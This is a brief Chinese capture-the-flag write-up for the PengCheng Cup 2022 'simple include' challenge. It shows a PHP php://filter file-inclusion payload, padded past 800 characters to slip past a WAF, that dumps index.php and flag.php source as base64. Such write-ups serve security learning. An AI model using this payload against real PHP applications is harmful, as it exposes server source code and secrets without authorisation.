![cover](https://img-blog.csdnimg.cn/8768f95bfe41426098cddfa9974c9dd8.png)
[鹏城杯 2022]简单包含
有waf,尝试着查看index.php可以正常返回加密的base64,解码后得源码。简单分析,需要满足传入有flag并且传入的字符数要>800才会满足包含条件。
php伪协议
flag=php://filter/read=convert.base64-encode/resource=flag.php
有waf,尝试着查看index.php可以正常返回加密的base64,解码后得源码
简单分析,需要满足传入有flag并且传入的字符数要>800才会满足包含条件
payload:
0=0*1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/read=convert.base64-encode/resource=index.php
得到后解码
更多推荐
所有评论(0)